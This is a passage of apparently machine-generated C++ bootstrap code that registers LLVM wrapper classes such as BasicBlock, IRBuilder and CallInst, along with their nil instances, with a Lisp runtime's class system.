llvmo::BasicBlock_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::BasicBlock_O::static_className() );\n        llvmo::BasicBlock_O::_nil = nil_for_class;\n        classllvmo__BasicBlock_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__BasicBlock_Oval->setSupportsSlots(llvmo::BasicBlock_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__CompositeType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__CompositeType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__CompositeType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__CompositeType_Oval,_lisp,llvmo::CompositeType_O::static_classSymbol());\n    llvmo::CompositeType_O::___staticMetaClass = classllvmo__CompositeType_Oval;\n    _lisp->setf_findClass(llvmo::CompositeType_O::static_classSymbol(),classllvmo__CompositeType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::CompositeType_O>;\n        llvmo::CompositeType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::CompositeType_O::static_className() % (void*)(llvmo::CompositeType_O::static_newNil_callback()) );\n    classllvmo__CompositeType_Oval->setInstance_newNil_callback(llvmo::CompositeType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::CompositeType_O> nil_for_class(new llvmo::CompositeType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::CompositeType_O::static_className() );\n        llvmo::CompositeType_O::_nil = nil_for_class;\n        classllvmo__CompositeType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__CompositeType_Oval->setSupportsSlots(llvmo::CompositeType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__FunctionPassManager_Oval]\"));\n    core::BuiltInClass_sp classllvmo__FunctionPassManager_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__FunctionPassManager_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__FunctionPassManager_Oval,_lisp,llvmo::FunctionPassManager_O::static_classSymbol());\n    llvmo::FunctionPassManager_O::___staticMetaClass = classllvmo__FunctionPassManager_Oval;\n    _lisp->setf_findClass(llvmo::FunctionPassManager_O::static_classSymbol(),classllvmo__FunctionPassManager_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::FunctionPassManager_O>;\n        llvmo::FunctionPassManager_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::FunctionPassManager_O::static_className() % (void*)(llvmo::FunctionPassManager_O::static_newNil_callback()) );\n    classllvmo__FunctionPassManager_Oval->setInstance_newNil_callback(llvmo::FunctionPassManager_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::FunctionPassManager_O> nil_for_class(new llvmo::FunctionPassManager_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::FunctionPassManager_O::static_className() );\n        llvmo::FunctionPassManager_O::_nil = nil_for_class;\n        classllvmo__FunctionPassManager_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__FunctionPassManager_Oval->setSupportsSlots(llvmo::FunctionPassManager_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__FunctionPass_Oval]\"));\n    core::BuiltInClass_sp classllvmo__FunctionPass_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__FunctionPass_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__FunctionPass_Oval,_lisp,llvmo::FunctionPass_O::static_classSymbol());\n    llvmo::FunctionPass_O::___staticMetaClass = classllvmo__FunctionPass_Oval;\n    _lisp->setf_findClass(llvmo::FunctionPass_O::static_classSymbol(),classllvmo__FunctionPass_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::FunctionPass_O>;\n        llvmo::FunctionPass_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::FunctionPass_O::static_className() % (void*)(llvmo::FunctionPass_O::static_newNil_callback()) );\n    classllvmo__FunctionPass_Oval->setInstance_newNil_callback(llvmo::FunctionPass_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::FunctionPass_O> nil_for_class(new llvmo::FunctionPass_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::FunctionPass_O::static_className() );\n        llvmo::FunctionPass_O::_nil = nil_for_class;\n        classllvmo__FunctionPass_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__FunctionPass_Oval->setSupportsSlots(llvmo::FunctionPass_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__FunctionType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__FunctionType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__FunctionType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__FunctionType_Oval,_lisp,llvmo::FunctionType_O::static_classSymbol());\n    llvmo::FunctionType_O::___staticMetaClass = classllvmo__FunctionType_Oval;\n    _lisp->setf_findClass(llvmo::FunctionType_O::static_classSymbol(),classllvmo__FunctionType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::FunctionType_O>;\n        llvmo::FunctionType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::FunctionType_O::static_className() % (void*)(llvmo::FunctionType_O::static_newNil_callback()) );\n    classllvmo__FunctionType_Oval->setInstance_newNil_callback(llvmo::FunctionType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::FunctionType_O> nil_for_class(new llvmo::FunctionType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::FunctionType_O::static_className() );\n        llvmo::FunctionType_O::_nil = nil_for_class;\n        classllvmo__FunctionType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__FunctionType_Oval->setSupportsSlots(llvmo::FunctionType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__IRBuilder_Oval]\"));\n    core::BuiltInClass_sp classllvmo__IRBuilder_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__IRBuilder_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__IRBuilder_Oval,_lisp,llvmo::IRBuilder_O::static_classSymbol());\n    llvmo::IRBuilder_O::___staticMetaClass = classllvmo__IRBuilder_Oval;\n    _lisp->setf_findClass(llvmo::IRBuilder_O::static_classSymbol(),classllvmo__IRBuilder_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::IRBuilder_O>;\n        llvmo::IRBuilder_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::IRBuilder_O::static_className() % (void*)(llvmo::IRBuilder_O::static_newNil_callback()) );\n    classllvmo__IRBuilder_Oval->setInstance_newNil_callback(llvmo::IRBuilder_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::IRBuilder_O> nil_for_class(new llvmo::IRBuilder_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::IRBuilder_O::static_className() );\n        llvmo::IRBuilder_O::_nil = nil_for_class;\n        classllvmo__IRBuilder_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__IRBuilder_Oval->setSupportsSlots(llvmo::IRBuilder_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__IntegerType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__IntegerType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__IntegerType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__IntegerType_Oval,_lisp,llvmo::IntegerType_O::static_classSymbol());\n    llvmo::IntegerType_O::___staticMetaClass = classllvmo__IntegerType_Oval;\n    _lisp->setf_findClass(llvmo::IntegerType_O::static_classSymbol(),classllvmo__IntegerType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::IntegerType_O>;\n        llvmo::IntegerType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::IntegerType_O::static_className() % (void*)(llvmo::IntegerType_O::static_newNil_callback()) );\n    classllvmo__IntegerType_Oval->setInstance_newNil_callback(llvmo::IntegerType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::IntegerType_O> nil_for_class(new llvmo::IntegerType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::IntegerType_O::static_className() );\n        llvmo::IntegerType_O::_nil = nil_for_class;\n        classllvmo__IntegerType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__IntegerType_Oval->setSupportsSlots(llvmo::IntegerType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__MDNode_Oval]\"));\n    core::BuiltInClass_sp classllvmo__MDNode_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__MDNode_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__MDNode_Oval,_lisp,llvmo::MDNode_O::static_classSymbol());\n    llvmo::MDNode_O::___staticMetaClass = classllvmo__MDNode_Oval;\n    _lisp->setf_findClass(llvmo::MDNode_O::static_classSymbol(),classllvmo__MDNode_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::MDNode_O>;\n        llvmo::MDNode_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::MDNode_O::static_className() % (void*)(llvmo::MDNode_O::static_newNil_callback()) );\n    classllvmo__MDNode_Oval->setInstance_newNil_callback(llvmo::MDNode_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::MDNode_O> nil_for_class(new llvmo::MDNode_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::MDNode_O::static_className() );\n        llvmo::MDNode_O::_nil = nil_for_class;\n        classllvmo__MDNode_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__MDNode_Oval->setSupportsSlots(llvmo::MDNode_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__MDString_Oval]\"));\n    core::BuiltInClass_sp classllvmo__MDString_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__MDString_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__MDString_Oval,_lisp,llvmo::MDString_O::static_classSymbol());\n    llvmo::MDString_O::___staticMetaClass = classllvmo__MDString_Oval;\n    _lisp->setf_findClass(llvmo::MDString_O::static_classSymbol(),classllvmo__MDString_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::MDString_O>;\n        llvmo::MDString_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::MDString_O::static_className() % (void*)(llvmo::MDString_O::static_newNil_callback()) );\n    classllvmo__MDString_Oval->setInstance_newNil_callback(llvmo::MDString_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::MDString_O> nil_for_class(new llvmo::MDString_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::MDString_O::static_className() );\n        llvmo::MDString_O::_nil = nil_for_class;\n        classllvmo__MDString_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__MDString_Oval->setSupportsSlots(llvmo::MDString_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ModulePass_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ModulePass_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ModulePass_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ModulePass_Oval,_lisp,llvmo::ModulePass_O::static_classSymbol());\n    llvmo::ModulePass_O::___staticMetaClass = classllvmo__ModulePass_Oval;\n    _lisp->setf_findClass(llvmo::ModulePass_O::static_classSymbol(),classllvmo__ModulePass_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ModulePass_O>;\n        llvmo::ModulePass_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ModulePass_O::static_className() % (void*)(llvmo::ModulePass_O::static_newNil_callback()) );\n    classllvmo__ModulePass_Oval->setInstance_newNil_callback(llvmo::ModulePass_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ModulePass_O> nil_for_class(new llvmo::ModulePass_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ModulePass_O::static_className() );\n        llvmo::ModulePass_O::_nil = nil_for_class;\n        classllvmo__ModulePass_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ModulePass_Oval->setSupportsSlots(llvmo::ModulePass_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__User_Oval]\"));\n    core::BuiltInClass_sp classllvmo__User_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__User_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__User_Oval,_lisp,llvmo::User_O::static_classSymbol());\n    llvmo::User_O::___staticMetaClass = classllvmo__User_Oval;\n    _lisp->setf_findClass(llvmo::User_O::static_classSymbol(),classllvmo__User_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::User_O>;\n        llvmo::User_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::User_O::static_className() % (void*)(llvmo::User_O::static_newNil_callback()) );\n    classllvmo__User_Oval->setInstance_newNil_callback(llvmo::User_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::User_O> nil_for_class(new llvmo::User_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::User_O::static_className() );\n        llvmo::User_O::_nil = nil_for_class;\n        classllvmo__User_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__User_Oval->setSupportsSlots(llvmo::User_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Constant_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Constant_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Constant_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Constant_Oval,_lisp,llvmo::Constant_O::static_classSymbol());\n    llvmo::Constant_O::___staticMetaClass = classllvmo__Constant_Oval;\n    _lisp->setf_findClass(llvmo::Constant_O::static_classSymbol(),classllvmo__Constant_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Constant_O>;\n        llvmo::Constant_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Constant_O::static_className() % (void*)(llvmo::Constant_O::static_newNil_callback()) );\n    classllvmo__Constant_Oval->setInstance_newNil_callback(llvmo::Constant_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Constant_O> nil_for_class(new llvmo::Constant_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Constant_O::static_className() );\n        llvmo::Constant_O::_nil = nil_for_class;\n        classllvmo__Constant_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Constant_Oval->setSupportsSlots(llvmo::Constant_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ImmutablePass_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ImmutablePass_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ImmutablePass_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ImmutablePass_Oval,_lisp,llvmo::ImmutablePass_O::static_classSymbol());\n    llvmo::ImmutablePass_O::___staticMetaClass = classllvmo__ImmutablePass_Oval;\n    _lisp->setf_findClass(llvmo::ImmutablePass_O::static_classSymbol(),classllvmo__ImmutablePass_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ImmutablePass_O>;\n        llvmo::ImmutablePass_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ImmutablePass_O::static_className() % (void*)(llvmo::ImmutablePass_O::static_newNil_callback()) );\n    classllvmo__ImmutablePass_Oval->setInstance_newNil_callback(llvmo::ImmutablePass_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ImmutablePass_O> nil_for_class(new llvmo::ImmutablePass_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ImmutablePass_O::static_className() );\n        llvmo::ImmutablePass_O::_nil = nil_for_class;\n        classllvmo__ImmutablePass_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ImmutablePass_Oval->setSupportsSlots(llvmo::ImmutablePass_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Instruction_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Instruction_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Instruction_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Instruction_Oval,_lisp,llvmo::Instruction_O::static_classSymbol());\n    llvmo::Instruction_O::___staticMetaClass = classllvmo__Instruction_Oval;\n    _lisp->setf_findClass(llvmo::Instruction_O::static_classSymbol(),classllvmo__Instruction_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Instruction_O>;\n        llvmo::Instruction_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Instruction_O::static_className() % (void*)(llvmo::Instruction_O::static_newNil_callback()) );\n    classllvmo__Instruction_Oval->setInstance_newNil_callback(llvmo::Instruction_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Instruction_O> nil_for_class(new llvmo::Instruction_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Instruction_O::static_className() );\n        llvmo::Instruction_O::_nil = nil_for_class;\n        classllvmo__Instruction_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Instruction_Oval->setSupportsSlots(llvmo::Instruction_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__SequentialType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__SequentialType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__SequentialType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__SequentialType_Oval,_lisp,llvmo::SequentialType_O::static_classSymbol());\n    llvmo::SequentialType_O::___staticMetaClass = classllvmo__SequentialType_Oval;\n    _lisp->setf_findClass(llvmo::SequentialType_O::static_classSymbol(),classllvmo__SequentialType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::SequentialType_O>;\n        llvmo::SequentialType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::SequentialType_O::static_className() % (void*)(llvmo::SequentialType_O::static_newNil_callback()) );\n    classllvmo__SequentialType_Oval->setInstance_newNil_callback(llvmo::SequentialType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::SequentialType_O> nil_for_class(new llvmo::SequentialType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::SequentialType_O::static_className() );\n        llvmo::SequentialType_O::_nil = nil_for_class;\n        classllvmo__SequentialType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__SequentialType_Oval->setSupportsSlots(llvmo::SequentialType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__StructType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__StructType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__StructType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__StructType_Oval,_lisp,llvmo::StructType_O::static_classSymbol());\n    llvmo::StructType_O::___staticMetaClass = classllvmo__StructType_Oval;\n    _lisp->setf_findClass(llvmo::StructType_O::static_classSymbol(),classllvmo__StructType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::StructType_O>;\n        llvmo::StructType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::StructType_O::static_className() % (void*)(llvmo::StructType_O::static_newNil_callback()) );\n    classllvmo__StructType_Oval->setInstance_newNil_callback(llvmo::StructType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::StructType_O> nil_for_class(new llvmo::StructType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::StructType_O::static_className() );\n        llvmo::StructType_O::_nil = nil_for_class;\n        classllvmo__StructType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__StructType_Oval->setSupportsSlots(llvmo::StructType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ArrayType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ArrayType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ArrayType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ArrayType_Oval,_lisp,llvmo::ArrayType_O::static_classSymbol());\n    llvmo::ArrayType_O::___staticMetaClass = classllvmo__ArrayType_Oval;\n    _lisp->setf_findClass(llvmo::ArrayType_O::static_classSymbol(),classllvmo__ArrayType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ArrayType_O>;\n        llvmo::ArrayType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ArrayType_O::static_className() % (void*)(llvmo::ArrayType_O::static_newNil_callback()) );\n    classllvmo__ArrayType_Oval->setInstance_newNil_callback(llvmo::ArrayType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ArrayType_O> nil_for_class(new llvmo::ArrayType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ArrayType_O::static_className() );\n        llvmo::ArrayType_O::_nil = nil_for_class;\n        classllvmo__ArrayType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ArrayType_Oval->setSupportsSlots(llvmo::ArrayType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__AtomicCmpXchgInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__AtomicCmpXchgInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__AtomicCmpXchgInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__AtomicCmpXchgInst_Oval,_lisp,llvmo::AtomicCmpXchgInst_O::static_classSymbol());\n    llvmo::AtomicCmpXchgInst_O::___staticMetaClass = classllvmo__AtomicCmpXchgInst_Oval;\n    _lisp->setf_findClass(llvmo::AtomicCmpXchgInst_O::static_classSymbol(),classllvmo__AtomicCmpXchgInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::AtomicCmpXchgInst_O>;\n        llvmo::AtomicCmpXchgInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::AtomicCmpXchgInst_O::static_className() % (void*)(llvmo::AtomicCmpXchgInst_O::static_newNil_callback()) );\n    classllvmo__AtomicCmpXchgInst_Oval->setInstance_newNil_callback(llvmo::AtomicCmpXchgInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::AtomicCmpXchgInst_O> nil_for_class(new llvmo::AtomicCmpXchgInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::AtomicCmpXchgInst_O::static_className() );\n        llvmo::AtomicCmpXchgInst_O::_nil = nil_for_class;\n        classllvmo__AtomicCmpXchgInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__AtomicCmpXchgInst_Oval->setSupportsSlots(llvmo::AtomicCmpXchgInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__AtomicRMWInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__AtomicRMWInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__AtomicRMWInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__AtomicRMWInst_Oval,_lisp,llvmo::AtomicRMWInst_O::static_classSymbol());\n    llvmo::AtomicRMWInst_O::___staticMetaClass = classllvmo__AtomicRMWInst_Oval;\n    _lisp->setf_findClass(llvmo::AtomicRMWInst_O::static_classSymbol(),classllvmo__AtomicRMWInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::AtomicRMWInst_O>;\n        llvmo::AtomicRMWInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::AtomicRMWInst_O::static_className() % (void*)(llvmo::AtomicRMWInst_O::static_newNil_callback()) );\n    classllvmo__AtomicRMWInst_Oval->setInstance_newNil_callback(llvmo::AtomicRMWInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::AtomicRMWInst_O> nil_for_class(new llvmo::AtomicRMWInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::AtomicRMWInst_O::static_className() );\n        llvmo::AtomicRMWInst_O::_nil = nil_for_class;\n        classllvmo__AtomicRMWInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__AtomicRMWInst_Oval->setSupportsSlots(llvmo::AtomicRMWInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__CallInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__CallInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__CallInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__CallInst_Oval,_lisp,llvmo::CallInst_O::static_classSymbol());\n    llvmo::CallInst_O::___staticMetaClass = classllvmo__CallInst_Oval;\n    _lisp->setf_findClass(llvmo::CallInst_O::static_classSymbol(),classllvmo__CallInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::CallInst_O>;\n        llvmo::CallInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::CallInst_O::static_className() % (void*)(llvmo::CallInst_O::static_newNil_callback()) );\n    classllvmo__CallInst_Oval->setInstance_newNil_callback(llvmo::CallInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::CallInst_O> nil_for_class(new llvmo::CallInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::CallInst_O::static_className() );\n        llvmo::CallInst_O::_nil = nil_for_class;\n        classllvmo__CallInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__CallInst_Oval->setSupportsSlots(llvmo::CallInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ConstantArray_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ConstantArray_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    